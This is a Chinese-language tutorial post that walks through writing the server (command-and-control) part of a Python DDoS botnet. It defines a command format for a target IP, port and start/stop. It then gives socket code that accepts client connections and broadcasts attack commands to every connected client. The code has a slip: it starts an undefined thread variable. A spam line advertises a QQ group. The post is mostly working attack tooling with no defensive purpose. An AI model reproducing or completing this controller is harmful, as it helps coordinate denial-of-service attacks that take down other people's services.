DDOS攻擊的一些基礎知識點在這裡就不再贅述,由於Server端要控制client,所以這裡需要使用argparse,在這裡我們先規定好命令格式:#-H XXX.XXX.XXX.XXX -p xxxx -c<start|stop> -H後面接的是被攻擊主機的IP地址。 -p指定被攻擊的埠號。 -c ...
DDOS攻擊的一些基礎知識點在這裡就不再贅述,由於Server端要控制client,所以這裡需要使用argparse,在這裡我們先規定好命令格式:#-H XXX.XXX.XXX.XXX -p xxxx -c<start|stop>
-H後面接的是被攻擊主機的IP地址。
-p指定被攻擊的埠號。
-c控制攻擊的開始與結束。
編碼實現:
Server端發送命令,綁定所有網路地址和58868埠並開始監聽,之後我們新開一個線程來等待客戶端的連接,以免阻塞我們輸入命令。
1 def main(): 2 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 3 s.bind(('0.0.0.0',58868)) 4 s.listen(2014) 5 t = Thread(target = waitConnect,args=(s,)) 6 r.start()
由於我們要給所有的客戶端發送命令,所以我們在新開的線程中將連接進來的socket添加到一個list當中。在主函數中我們第一次輸入命令之前需要至少有一個客戶端連接到伺服器,所以這裡我們判斷了一下socket的長度。Python群 125240963 進群獲取數十套PDF電子書和各種視頻!
1 print('Wait at lease a client connection!') 2 while not len(socketList): 3 pass 4 print('It has been a client connection!')
現在迴圈等待輸入命令,輸入之後判斷命令是否滿足命令格式的基本要求,如果滿足了,我們就把命令發送給所有客戶端。
1 while True: 2 print('=' * 50) 3 print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"') 4 #等待輸入命令 5 cmd_str = input('Please input cmd:') 6 if len(cmd_str): 7 if cmd_str[0] == '#': 8 sendCmd(cmd_str)
現在我們程式的大體框架已經有了,現在我們來編寫主函數中沒有完成的子功能。 首先我們應該實現等待客戶端的函數,方便開啟新的線程。
在這個函數中,我們只需要迴圈等待客戶端的連接就可以了,新連接的socket要判斷一下是否在socketList中已經存儲過了,如果沒有的話就添加到socketList中。
1 #等待連接 2 def waitConnect(s): 3 while True: 4 sock,addr = s.accept() 5 if sock not in socketList: 6 socketList.append(sock)
我們再來實現發送命令的函數,這個函數我們遍歷socketList這個列表,將每個socket都調用一次send將命令發送出去。
至此我們的Server端就完成了。